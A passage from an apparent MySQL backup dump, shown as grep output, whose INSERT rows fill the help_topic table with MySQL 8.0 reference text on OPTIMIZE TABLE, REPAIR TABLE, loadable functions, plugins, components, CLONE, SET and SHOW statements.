linked list and subsequent INSERT operations\n reuse old row positions. You can use OPTIMIZE TABLE to reclaim the\n unused space and to defragment the data file. After extensive changes\n to a table, this statement may also improve performance of statements\n that use the table, sometimes significantly.\n\nThis statement requires SELECT and INSERT privileges for the table.\n\nOPTIMIZE TABLE works for InnoDB, MyISAM, and ARCHIVE tables. OPTIMIZE\nTABLE is also supported for dynamic columns of in-memory NDB tables. It\ndoes not work for fixed-width columns of in-memory tables, nor does it\nwork for Disk Data tables. The performance of OPTIMIZE on NDB Cluster\ntables can be tuned using --ndb-optimization-delay, which controls the\nlength of time to wait between processing batches of rows by OPTIMIZE\nTABLE. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-limitations-resol\nved.html.\n\nFor NDB Cluster tables, OPTIMIZE TABLE can be interrupted by (for\nexample) killing the SQL thread performing the OPTIMIZE operation.\n\nBy default, OPTIMIZE TABLE does not work for tables created using any\nother storage engine and returns a result indicating this lack of\nsupport. You can make OPTIMIZE TABLE work for other storage engines by\nstarting mysqld with the --skip-new option. In this case, OPTIMIZE\nTABLE is just mapped to ALTER TABLE.\n\nThis statement does not work with views.\n\nOPTIMIZE TABLE is supported for partitioned tables. For information\nabout using this statement with partitioned tables and table\npartitions, see\nhttps://dev.mysql.com/doc/refman/8.0/en/partitioning-maintenance.html.\n\nBy default, the server writes OPTIMIZE TABLE statements to the binary\nlog so that they replicate to replicas. To suppress logging, specify\nthe optional NO_WRITE_TO_BINLOG keyword or its alias LOCAL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html'); ./posacct_project/pos_db_backup.sql:INSERT INTO `help_topic` VALUES (631,'REPAIR TABLE',47,'Syntax:\nREPAIR [NO_WRITE_TO_BINLOG | LOCAL]\n TABLE tbl_name [, tbl_name] ...\n [QUICK] [EXTENDED] [USE_FRM]\n\nREPAIR TABLE repairs a possibly corrupted table, for certain storage\nengines only.\n\nThis statement requires SELECT and INSERT privileges for the table.\n\nAlthough normally you should never have to run REPAIR TABLE, if\ndisaster strikes, this statement is very likely to get back all your\ndata from a MyISAM table. If your tables become corrupted often, try to\nfind the reason for it, to eliminate the need to use REPAIR TABLE. See\nhttps://dev.mysql.com/doc/refman/8.0/en/crashing.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/myisam-table-problems.html.\n\nREPAIR TABLE checks the table to see whether an upgrade is required. If\nso, it performs the upgrade, following the same rules as CHECK TABLE\n... FOR UPGRADE. See [HELP CHECK TABLE], for more information.\n\n*Important*:\n\no Make a backup of a table before performing a table repair operation;\n under some circumstances the operation might cause data loss.\n Possible causes include but are not limited to file system errors.\n See https://dev.mysql.com/doc/refman/8.0/en/backup-and-recovery.html.\n\no If the server exits during a REPAIR TABLE operation, it is essential\n after restarting it that you immediately execute another REPAIR TABLE\n statement for the table before performing any other operations on it.\n In the worst case, you might have a new clean index file without\n information about the data file, and then the next operation you\n perform could overwrite the data file. This is an unlikely but\n possible scenario that underscores the value of making a backup\n first.\n\no In the event that a table on the source becomes corrupted and you run\n REPAIR TABLE on it, any resulting changes to the original table are\n not propagated to replicas.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/repair-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/repair-table.html'),(632,'CREATE FUNCTION LOADABLE FUNCTION',48,'Syntax:\nCREATE [AGGREGATE] FUNCTION [IF NOT EXISTS] function_name\n RETURNS {STRING|INTEGER|REAL|DECIMAL}\n SONAME shared_library_name\n\nThis statement loads the loadable function named function_name. (CREATE\nFUNCTION is also used to created stored functions; see [HELP CREATE\nPROCEDURE].)\n\nA loadable function is a way to extend MySQL with a new function that\nworks like a native (built-in) MySQL function such as ABS() or\nCONCAT(). See Adding a Loadable Function\n(https://dev.mysql.com/doc/extending-mysql/8.0/en/adding-loadable-funct\nion.html).\n\nfunction_name is the name that should be used in SQL statements to\ninvoke the function. The RETURNS clause indicates the type of the\nfunction\'s return value. DECIMAL is a legal value after RETURNS, but\ncurrently DECIMAL functions return string values and should be written\nlike STRING functions.\n\nIF NOT EXISTS prevents an error from occurring if there already exists\na loadable function with the same name. It does not prevent an error\nfrom occurring if there already exists a built-in function having the\nsame name. IF NOT EXISTS is supported for CREATE FUNCTION statements\nbeginning with MySQL 8.0.29. See also\nhttps://dev.mysql.com/doc/refman/8.0/en/function-resolution.html#functi\non-name-resolution.\n\nThe AGGREGATE keyword, if given, signifies that the function is an\naggregate (group) function. An aggregate function works exactly like a\nnative MySQL aggregate function such as SUM() or COUNT().\n\nshared_library_name is the base name of the shared library file\ncontaining the code that implements the function. The file must be\nlocated in the plugin directory. This directory is given by the value\nof the plugin_dir system variable. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/function-loading.html.\n\nCREATE FUNCTION requires the INSERT privilege for the mysql system\nschema because it adds a row to the mysql.func system table to register\nthe function.\n\nCREATE FUNCTION also adds the function to the Performance Schema\nuser_defined_functions table that provides runtime information about\ninstalled loadable functions. See\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-user-defined\n-functions-table.html.\n\n*Note*:\n\nLike the mysql.func system table, the Performance Schema\nuser_defined_functions table lists loadable functions installed using\nCREATE FUNCTION. Unlike the mysql.func table, the\nuser_defined_functions table also lists loadable functions installed\nautomatically by server components or plugins. This difference makes\nuser_defined_functions preferable to mysql.func for checking which\nloadable functions are installed.\n\nDuring the normal startup sequence, the server loads functions\nregistered in the mysql.func table. If the server is started with the\n--skip-grant-tables option, functions registered in the table are not\nloaded and are unavailable.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-function-loadable.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-function-loadable.html'),(633,'DROP FUNCTION LOADABLE FUNCTION',48,'Syntax:\nDROP FUNCTION [IF EXISTS] function_name\n\nThis statement drops the loadable function named function_name. (DROP\nFUNCTION is also used to drop stored functions; see [HELP DROP\nPROCEDURE].)\n\nDROP FUNCTION is the complement of CREATE FUNCTION. It requires the\nDELETE privilege for the mysql system schema because it removes the row\nfrom the mysql.func system table that registers the function.\n\nDROP FUNCTION also removes the function from the Performance Schema\nuser_defined_functions table that provides runtime information about\ninstalled loadable functions. See\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-user-defined\n-functions-table.html.\n\nDuring the normal startup sequence, the server loads functions\nregistered in the mysql.func table. Because DROP FUNCTION removes the\nmysql.func row for the dropped function, the server does not load the\nfunction during subsequent restarts.\n\nDROP FUNCTION cannot be used to drop a loadable function that is\ninstalled automatically by components or plugins rather than by using\nCREATE FUNCTION. Such a function is also dropped automatically, when\nthe component or plugin that installed it is uninstalled.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-function-loadable.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-function-loadable.html'),(634,'INSTALL COMPONENT',49,'Syntax:\nINSTALL COMPONENT component_name [, component_name ...\n [SET variable = expr [, variable = expr] ...] \n \n variable: {\n {GLOBAL | @@GLOBAL.} [component_prefix.]system_var_name\n | {PERSIST | @@PERSIST.} [component_prefix.]system_var_name\n}\n\nThis statement installs one or more components, which become active\nimmediately. A component provides services that are available to the\nserver and other components; see\nhttps://dev.mysql.com/doc/refman/8.0/en/components.html. INSTALL\nCOMPONENT requires the INSERT privilege for the mysql.component system\ntable because it adds a row to that table to register the component.\n\nExample:\n\nINSTALL COMPONENT \'file://component1\', \'file://component2\';\n\nA component is named using a URN that begins with file:// and indicates\nthe base name of the library file that implements the component,\nlocated in the directory named by the plugin_dir system variable.\nComponent names do not include any platform-dependent file name suffix\nsuch as .so or .dll. (These naming details are subject to change\nbecause component name interpretation is itself performed by a service\nand the component infrastructure makes it possible to replace the\ndefault service implementation with alternative implementations.)\n\nINSTALL COMPONENT (from 8.0.33) permits setting the values of component\nsystem variables when you install one or more components. The SET\nclause enables you to specify variable values precisely when they are\nneeded, without the inconvenience or limitations associated with other\nforms of assignment. Specifically, you can also set component variables\nwith these alternatives:\n\no At server startup using options on the command line or in an option\n file, but doing so involves a server restart. The values do not take\n effect until you install the component. You can specify an invalid\n variable name for a component on the command line without triggering\n an error.\n\no Dynamically while the server is running by means of the SET\n statement, which enables you to modify operation of the server\n without having to stop and restart it. Setting a read-only variable\n is not permitted.\n\nThe optional SET clause applies a value, or values, only to the\ncomponent specified in the INSTALL COMPONENT statement, rather than to\nall subsequent installations of that component. SET GLOBAL|PERSIST\nworks for all types of variables, including read-only variables,\nwithout having to restart the server. A component system variable that\nyou set using INSTALL COMPONENT takes precedence over any conflicting\nvalue coming from the command line or an option file.\n\nExample:\n\nINSTALL COMPONENT \'file://component1\', \'file://component2\' \n SET GLOBAL component1.var1 = 12 + 3, PERSIST component2.var2 = \'strings\';\n\nOmitting PERSIST or GLOBAL is equivalent to specifying GLOBAL.\n\nSpecifying PERSIST for any variable in SET silently executes SET\nPERSIST_ONLY immediately after INSTALL COMPONENT loads the components,\nbut before updating the mysql.component table. If SET PERSIST_ONLY\nfails, then the server unloads all of the previously loaded new\ncomponents without persisting anything to mysql.component.\n\nThe SET clause accepts only valid variable names of the component being\ninstalled and emits an error message for all invalid names. Subqueries,\nstored functions, and aggregate functions are not permitted as part of\nthe value expression. If you install a single component, it is not\nnecessary to prefix the variable name with the component name.\n\n*Note*:\n\nWhile specifying a variable value using the SET clause is similar to\nthat of the command line---it is available immediately at variable\nregistration---there is a distinct difference in how the SET clause\nhandles invalid numerical values for boolean variables. For example, if\nyou set a boolean variable to 11 (component1.boolvar = 11), you see the\nfollowing behavior:\n\no SET clause yields true\n\no Command line yields false (11 is neither ON nor 1)\n\nIf any error occurs, the statement fails and has no effect. For\nexample, this happens if a component name is erroneous, a named\ncomponent does not exist or is already installed, or component\ninitialization fails.\n\nA loader service handles component loading, which includes adding\ninstalled components to the mysql.component system table that serves as\na registry. For subsequent server restarts, any components listed in\nmysql.component are loaded by the loader service during the startup\nsequence. This occurs even if the server is started with the\n--skip-grant-tables option.\n\nIf a component depends on services not present in the registry and you\nattempt to install the component without also installing the component\nor components that provide the services on which it depends, an error\noccurs:\n\nERROR 3527 (HY000): Cannot satisfy dependency for service \'component_a\'\nrequired by component \'component_b\'.\n\nTo avoid this problem, either install all components in the same\nstatement, or install the dependent component after installing any\ncomponents on which it depends.\n\n*Note*:\n\nFor keyring components, do not use INSTALL COMPONENT. Instead,\nconfigure keyring component loading using a manifest file. See\nhttps://dev.mysql.com/doc/refman/8.0/en/keyring-component-installation.\nhtml.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/install-component.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/install-component.html'),(635,'INSTALL PLUGIN',50,'Syntax:\nINSTALL PLUGIN plugin_name SONAME \'shared_library_name\'\n\nThis statement installs a server plugin. It requires the INSERT\nprivilege for the mysql.plugin system table because it adds a row to\nthat table to register the plugin.\n\nplugin_name is the name of the plugin as defined in the plugin\ndescriptor structure contained in the library file (see Plugin Data\nStructures\n(https://dev.mysql.com/doc/extending-mysql/8.0/en/plugin-data-structure\ns.html)). Plugin names are not case-sensitive. For maximal\ncompatibility, plugin names should be limited to ASCII letters, digits,\nand underscore because they are used in C source files, shell command\nlines, M4 and Bourne shell scripts, and SQL environments.\n\nshared_library_name is the name of the shared library that contains the\nplugin code. The name includes the file name extension (for example,\nlibmyplugin.so, libmyplugin.dll, or libmyplugin.dylib).\n\nThe shared library must be located in the plugin directory (the\ndirectory named by the plugin_dir system variable). The library must be\nin the plugin directory itself, not in a subdirectory. By default,\nplugin_dir is the plugin directory under the directory named by the\npkglibdir configuration variable, but it can be changed by setting the\nvalue of plugin_dir at server startup. For example, set its value in a\nmy.cnf file:\n\n[mysqld]\nplugin_dir=/path/to/plugin/directory\n\nIf the value of plugin_dir is a relative path name, it is taken to be\nrelative to the MySQL base directory (the value of the basedir system\nvariable).\n\nINSTALL PLUGIN loads and initializes the plugin code to make the plugin\navailable for use. A plugin is initialized by executing its\ninitialization function, which handles any setup that the plugin must\nperform before it can be used. When the server shuts down, it executes\nthe deinitialization function for each plugin that is loaded so that\nthe plugin has a chance to perform any final cleanup.\n\nINSTALL PLUGIN also registers the plugin by adding a line that\nindicates the plugin name and library file name to the mysql.plugin\nsystem table. During the normal startup sequence, the server loads and\ninitializes plugins registered in mysql.plugin. This means that a\nplugin is installed with INSTALL PLUGIN only once, not every time the\nserver starts. If the server is started with the --skip-grant-tables\noption, plugins registered in the mysql.plugin table are not loaded and\nare unavailable.\n\nA plugin library can contain multiple plugins. For each of them to be\ninstalled, use a separate INSTALL PLUGIN statement. Each statement\nnames a different plugin, but all of them specify the same library\nname.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/install-plugin.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/install-plugin.html'),(636,'UNINSTALL COMPONENT',49,'Syntax:\nUNINSTALL COMPONENT component_name [, component_name ] ...\n\nThis statement deactivates and uninstalls one or more components. A\ncomponent provides services that are available to the server and other\ncomponents; see\nhttps://dev.mysql.com/doc/refman/8.0/en/components.html. UNINSTALL\nCOMPONENT is the complement of INSTALL COMPONENT. It requires the\nDELETE privilege for the mysql.component system table because it\nremoves the row from that table that registers the component. UNINSTALL\nCOMPONENT does not undo persisted variables, including the variables\npersisted using INSTALL COMPONENT ... SET PERSIST.\n\nExample:\n\nUNINSTALL COMPONENT \'file://component1\', \'file://component2\';\n\nFor information about component naming, see [HELP INSTALL COMPONENT].\n\nIf any error occurs, the statement fails and has no effect. For\nexample, this happens if a component name is erroneous, a named\ncomponent is not installed, or cannot be uninstalled because other\ninstalled components depend on it.\n\nA loader service handles component unloading, which includes removing\nuninstalled components from the mysql.component system table that\nserves as a registry. As a result, unloaded components are not loaded\nduring the startup sequence for subsequent server restarts.\n\n*Note*:\n\nThis statement has no effect for keyring components, which are loaded\nusing a manifest file and cannot be uninstalled. See\nhttps://dev.mysql.com/doc/refman/8.0/en/keyring-component-installation.\nhtml.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/uninstall-component.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/uninstall-component.html'),(637,'UNINSTALL PLUGIN',49,'Syntax:\nUNINSTALL PLUGIN plugin_name\n\nThis statement removes an installed server plugin. UNINSTALL PLUGIN is\nthe complement of INSTALL PLUGIN. It requires the DELETE privilege for\nthe mysql.plugin system table because it removes the row from that\ntable that registers the plugin.\n\nplugin_name must be the name of some plugin that is listed in the\nmysql.plugin table. The server executes the plugin\'s deinitialization\nfunction and removes the row for the plugin from the mysql.plugin\nsystem table, so that subsequent server restarts do not load and\ninitialize the plugin. UNINSTALL PLUGIN does not remove the plugin\'s\nshared library file.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/uninstall-plugin.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/uninstall-plugin.html'),(638,'CLONE',49,'Syntax:\nCLONE clone_action\n\nclone_action: {\n LOCAL DATA DIRECTORY [=] \'clone_dir\';\n | INSTANCE FROM \'user\'@\'host\':port\n IDENTIFIED BY \'password\'\n [DATA DIRECTORY [=] \'clone_dir\']\n [REQUIRE [NO] SSL]\n}\n\nThe CLONE statement is used to clone data locally or from a remote\nMySQL server instance. To use CLONE syntax, the clone plugin must be\ninstalled. See\nhttps://dev.mysql.com/doc/refman/8.0/en/clone-plugin.html.\n\nCLONE LOCAL DATA DIRECTORY syntax clones data from the local MySQL data\ndirectory to a directory on the same server or node where the MySQL\nserver instance runs. The \'clone_dir\' directory is the full path of the\nlocal directory that data is cloned to. An absolute path is required.\nThe specified directory must not exist, but the specified path must be\nan existent path. The MySQL server requires the necessary write access\nto create the specified directory. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/clone-plugin-local.html.\n\nCLONE INSTANCE syntax clones data from a remote MySQL server instance\n(the donor) and transfers it to the MySQL instance where the cloning\noperation was initiated (the recipient).\n\no user is the clone user on the donor MySQL server instance.\n\no host is the hostname address of the donor MySQL server instance.\n Internet Protocol version 6 (IPv6) address format is not supported.\n An alias to the IPv6 address can be used instead. An IPv4 address can\n be used as is.\n\no port is the port number of the donor MySQL server instance. (The X\n Protocol port specified by mysqlx_port is not supported. Connecting\n to the donor MySQL server instance through MySQL Router is also not\n supported.)\n\no IDENTIFIED BY \'password\' specifies the password of the clone user on\n the donor MySQL server instance.\n\no DATA DIRECTORY [=] \'clone_dir\' is an optional clause used to specify\n a directory on the recipient for the data you are cloning. Use this\n option if you do not want to remove existing data in the recipient\n data directory. An absolute path is required, and the directory must\n not exist. The MySQL server must have the necessary write access to\n create the directory.\n\n When the optional DATA DIRECTORY [=] \'clone_dir\' clause is not used,\n a cloning operation removes existing data in the recipient data\n directory, replaces it with the cloned data, and automatically\n restarts the server afterward.\n\no [REQUIRE [NO] SSL] explicitly specifies whether an encrypted\n connection is to be used or not when transferring cloned data over\n the network. An error is returned if the explicit specification\n cannot be satisfied. If an SSL clause is not specified, clone\n attempts to establish an encrypted connection by default, falling\n back to an insecure connection if the secure connection attempt\n fails. A secure connection is required when cloning encrypted data\n regardless of whether this clause is specified. For more information,\n see\n https://dev.mysql.com/doc/refman/8.0/en/clone-plugin-remote.html#clon\n e-plugin-remote-ssl.\n\nFor additional information about cloning data from a remote MySQL\nserver instance, see\nhttps://dev.mysql.com/doc/refman/8.0/en/clone-plugin-remote.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/clone.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/clone.html'),(639,'SET',3,'Syntax:\nSET variable = expr [, variable = expr] ...\n\nvariable: {\n user_var_name\n | param_name\n | local_var_name\n | {GLOBAL | @@GLOBAL.} system_var_name\n | {PERSIST | @@PERSIST.} system_var_name\n | {PERSIST_ONLY | @@PERSIST_ONLY.} system_var_name\n | [SESSION | @@SESSION. | @@] system_var_name\n}\n\nSET syntax for variable assignment enables you to assign values to\ndifferent types of variables that affect the operation of the server or\nclients:\n\no User-defined variables. See\n https://dev.mysql.com/doc/refman/8.0/en/user-variables.html.\n\no Stored procedure and function parameters, and stored program local\n variables. See\n https://dev.mysql.com/doc/refman/8.0/en/stored-program-variables.html\n .\n\no System variables. See\n https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n System variables also can be set at server startup, as described in\n https://dev.mysql.com/doc/refman/8.0/en/using-system-variables.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-variable.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-variable.html'),(640,'SET CHARACTER SET',3,'Syntax:\nSET {CHARACTER SET | CHARSET}\n {\'charset_name\' | DEFAULT}\n\nThis statement maps all strings sent between the server and the current\nclient with the given mapping. SET CHARACTER SET sets three session\nsystem variables: character_set_client and character_set_results are\nset to the given character set, and character_set_connection to the\nvalue of character_set_database. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html.\n\ncharset_name may be quoted or unquoted.\n\nThe default character set mapping can be restored by using the value\nDEFAULT. The default depends on the server configuration.\n\nSome character sets cannot be used as the client character set.\nAttempting to use them with SET CHARACTER SET produces an error. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html#charset\n-connection-impermissible-client-charset.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-character-set.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-character-set.html'),(641,'SET CHARSET',3,'Syntax:\nSET {CHARACTER SET | CHARSET}\n {\'charset_name\' | DEFAULT}\n\nThis statement maps all strings sent between the server and the current\nclient with the given mapping. SET CHARACTER SET sets three session\nsystem variables: character_set_client and character_set_results are\nset to the given character set, and character_set_connection to the\nvalue of character_set_database. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html.\n\ncharset_name may be quoted or unquoted.\n\nThe default character set mapping can be restored by using the value\nDEFAULT. The default depends on the server configuration.\n\nSome character sets cannot be used as the client character set.\nAttempting to use them with SET CHARACTER SET produces an error. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html#charset\n-connection-impermissible-client-charset.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-character-set.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-character-set.html'),(642,'SET NAMES',3,'Syntax:\nSET NAMES {\'charset_name\'\n [COLLATE \'collation_name\'] | DEFAULT}\n\nThis statement sets the three session system variables\ncharacter_set_client, character_set_connection, and\ncharacter_set_results to the given character set. Setting\ncharacter_set_connection to charset_name also sets collation_connection\nto the default collation for charset_name. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html.\n\nThe optional COLLATE clause may be used to specify a collation\nexplicitly. If given, the collation must one of the permitted\ncollations for charset_name.\n\ncharset_name and collation_name may be quoted or unquoted.\n\nThe default mapping can be restored by using a value of DEFAULT. The\ndefault depends on the server configuration.\n\nSome character sets cannot be used as the client character set.\nAttempting to use them with SET NAMES produces an error. See\nhttps://dev.mysql.com/doc/refman/8.0/en/charset-connection.html#charset\n-connection-impermissible-client-charset.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/set-names.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/set-names.html'),(643,'SHOW',3,'SHOW has many forms that provide information about databases, tables,\ncolumns, or status information about the server. This section describes\nthose following:\n\nSHOW {BINARY | MASTER} LOGS\nSHOW BINLOG EVENTS [IN \'log_name\'] [FROM pos] [LIMIT [offset,] row_count]\nSHOW {CHARACTER SET | CHARSET} [like_or_where]\nSHOW COLLATION [like_or_where]\nSHOW [FULL] COLUMNS FROM tbl_name [FROM db_name] [like_or_where]\nSHOW CREATE DATABASE db_name\nSHOW CREATE EVENT event_name\nSHOW CREATE FUNCTION func_name\nSHOW CREATE PROCEDURE proc_name\nSHOW CREATE TABLE tbl_name\nSHOW CREATE TRIGGER trigger_name\nSHOW CREATE VIEW view_name\nSHOW DATABASES [like_or_where]\nSHOW ENGINE engine_name {STATUS | MUTEX}\nSHOW [STORAGE] ENGINES\nSHOW ERRORS [LIMIT [offset,] row_count]\nSHOW EVENTS\nSHOW FUNCTION CODE func_name\nSHOW FUNCTION STATUS [like_or_where]\nSHOW GRANTS FOR user\nSHOW INDEX FROM tbl_name [FROM db_name]\nSHOW MASTER STATUS\nSHOW OPEN TABLES [FROM db_name] [like_or_where]\nSHOW PLUGINS\nSHOW PROCEDURE CODE proc_name\nSHOW PROCEDURE STATUS [like_or_where]\nSHOW PRIVILEGES\nSHOW [FULL] PROCESSLIST\nSHOW PROFILE [types] [FOR QUERY n] [OFFSET n] [LIMIT n]\nSHOW PROFILES\nSHOW RELAYLOG EVENTS [IN \'log_name\'] [FROM pos] [LIMIT [offset,] row_count]\nSHOW {REPLICAS | SLAVE HOSTS}\nSHOW {REPLICA | SLAVE} STATUS [FOR CHANNEL channel]\nSHOW [GLOBAL | SESSION] STATUS [like_or_where]\nSHOW TABLE STATUS [FROM db_name] [like_or_where]\nSHOW [FULL] TABLES [FROM db_name] [like_or_where]\nSHOW TRIGGERS [FROM db_name] [like_or_where]\nSHOW [GLOBAL | SESSION] VARIABLES [like_or_where]\nSHOW WARNINGS [LIMIT [offset,] row_count]\n\nlike_or_where: {\n LIKE \'pattern\'\n | WHERE expr\n}\n\nIf the syntax for a given SHOW statement includes a LIKE \'pattern\'\npart, \'pattern\' is a string that can contain the SQL % and _ wildcard\ncharacters. The pattern is useful for restricting statement output to\nmatching values.\n\nSeveral SHOW statements also accept a WHERE clause that provides more\nflexibility in specifying which rows to display. See\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nIn SHOW statement results, user names and host names are quoted using\nbackticks (`).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show.html'),(644,'SHOW BINARY LOGS',3,'Syntax:\nSHOW BINARY LOGS\nSHOW MASTER LOGS\n\nLists the binary log files on the server. This statement is used as\npart of the procedure described in [HELP PURGE BINARY LOGS], that shows\nhow to determine which logs can be purged. SHOW BINARY LOGS requires\nthe REPLICATION CLIENT privilege (or the deprecated SUPER privilege).\n\nEncrypted binary log files have a 512-byte file header that stores\ninformation required for encryption and decryption of the file. This is\nincluded in the file size displayed by SHOW BINARY LOGS. The Encrypted\ncolumn shows whether or not the binary log file is encrypted. Binary\nlog encryption is active if binlog_encryption=ON is set for the server.\nExisting binary log files are not encrypted or decrypted if binary log\nencryption is activated or deactivated while the server is running.\n\nmysql> SHOW BINARY LOGS;\n+---------------+-----------+-----------+\n| Log_name | File_size | Encrypted |\n+---------------+-----------+-----------+\n| binlog.000015 | 724935 | Yes |\n| binlog.000016 | 733481 | Yes |\n+---------------+-----------+-----------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-binary-logs.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-binary-logs.html'),(645,'SHOW MASTER LOGS',3,'Syntax:\nSHOW BINARY LOGS\nSHOW MASTER LOGS\n\nLists the binary log files on the server. This statement is used as\npart of the procedure described in [HELP PURGE BINARY LOGS], that shows\nhow to determine which logs can be purged. SHOW BINARY LOGS requires\nthe REPLICATION CLIENT privilege (or the deprecated SUPER privilege).\n\nEncrypted binary log files have a 512-byte file header that stores\ninformation required for encryption and decryption of the file. This is\nincluded in the file size displayed by SHOW BINARY LOGS. The Encrypted\ncolumn shows whether or not the binary log file is encrypted. Binary\nlog encryption is active if binlog_encryption=ON is set for the server.\nExisting binary log files are not encrypted or decrypted if binary log\nencryption is activated or deactivated while the server is running.\n\nmysql> SHOW BINARY LOGS;\n+---------------+-----------+-----------+\n| Log_name | File_size | Encrypted |\n+---------------+-----------+-----------+\n| binlog.000015 | 724935 | Yes |\n| binlog.000016 | 733481 | Yes |\n+---------------+-----------+-----------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-binary-logs.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-binary-logs.html'),(646,'SHOW BINLOG EVENTS',3,'Syntax:\nSHOW BINLOG EVENTS\n [IN \'log_name\']\n [FROM pos]\n [LIMIT [offset,] row_count]\n\nShows the events in the binary log. If you do not specify \'log_name\',\nthe first binary log is displayed. SHOW BINLOG EVENTS requires the\nREPLICATION SLAVE privilege.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-binlog-events.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-binlog-events.html'),(647,'SHOW CHARACTER SET',3,'Syntax:\nSHOW {CHARACTER SET | CHARSET}\n [LIKE \'pattern\' | WHERE expr]\n\nThe SHOW CHARACTER SET statement shows all available character sets.\nThe LIKE clause, if present, indicates which character set names to\nmatch. The WHERE clause can be given to select rows using more general\nconditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html. For\nexample:\n\nmysql> SHOW CHARACTER SET LIKE \'latin%\';\n+---------+-----------------------------+-------------------+--------+\n| Charset | Description | Default collation | Maxlen |\n+---------+-----------------------------+-------------------+--------+\n| latin1 | cp1252 West European | latin1_swedish_ci | 1 |\n| latin2 | ISO 8859-2 Central European | latin2_general_ci | 1 |\n| latin5 | ISO 8859-9 Turkish | latin5_turkish_ci | 1 |\n| latin7 | ISO 8859-13 Baltic | latin7_general_ci | 1 |\n+---------+-----------------------------+-------------------+--------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-character-set.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-character-set.html'),(648,'SHOW COLLATION',3,'Syntax:\nSHOW COLLATION\n [LIKE \'pattern\' | WHERE expr]\n\nThis statement lists collations supported by the server. By default,\nthe output from SHOW COLLATION includes all available collations. The\nLIKE clause, if present, indicates which collation names to match. The\nWHERE clause can be given to select rows using more general conditions,\nas discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html. For\nexample:\n\nmysql> SHOW COLLATION WHERE Charset = \'latin1\';\n+-------------------+---------+----+---------+----------+---------+\n| Collation | Charset | Id | Default | Compiled | Sortlen |\n+-------------------+---------+----+---------+----------+---------+\n| latin1_german1_ci | latin1 | 5 | | Yes | 1 |\n| latin1_swedish_ci | latin1 | 8 | Yes | Yes | 1 |\n| latin1_danish_ci | latin1 | 15 | | Yes | 1 |\n| latin1_german2_ci | latin1 | 31 | | Yes | 2 |\n| latin1_bin | latin1 | 47 | | Yes | 1 |\n| latin1_general_ci | latin1 | 48 | | Yes | 1 |\n| latin1_general_cs | latin1 | 49 | | Yes | 1 |\n| latin1_spanish_ci | latin1 | 94 | | Yes | 1 |\n+-------------------+---------+----+---------+----------+---------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-collation.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-collation.html'),(649,'SHOW COLUMNS',3,'Syntax:\nSHOW [EXTENDED] [FULL] {COLUMNS | FIELDS}\n {FROM | IN} tbl_name\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW COLUMNS displays information about the columns in a given table.\nIt also works for views. SHOW COLUMNS displays information only for\nthose columns for which you have some privilege.\n\nmysql> SHOW COLUMNS FROM City;\n+-------------+----------+------+-----+---------+----------------+\n| Field | Type | Null | Key | Default | Extra |\n+-------------+----------+------+-----+---------+----------------+\n| ID | int(11) | NO | PRI | NULL | auto_increment |\n| Name | char(35) | NO | | | |\n| CountryCode | char(3) | NO | MUL | | |\n| District | char(20) | NO | | | |\n| Population | int(11) | NO | | 0 | |\n+-------------+----------+------+-----+---------+----------------+\n\nAn alternative to tbl_name FROM db_name syntax is db_name.tbl_name.\nThese two statements are equivalent:\n\nSHOW COLUMNS FROM mytable FROM mydb;\nSHOW COLUMNS FROM mydb.mytable;\n\nThe optional EXTENDED keyword causes the output to include information\nabout hidden columns that MySQL uses internally and are not accessible\nby users.\n\nThe optional FULL keyword causes the output to include the column\ncollation and comments, as well as the privileges you have for 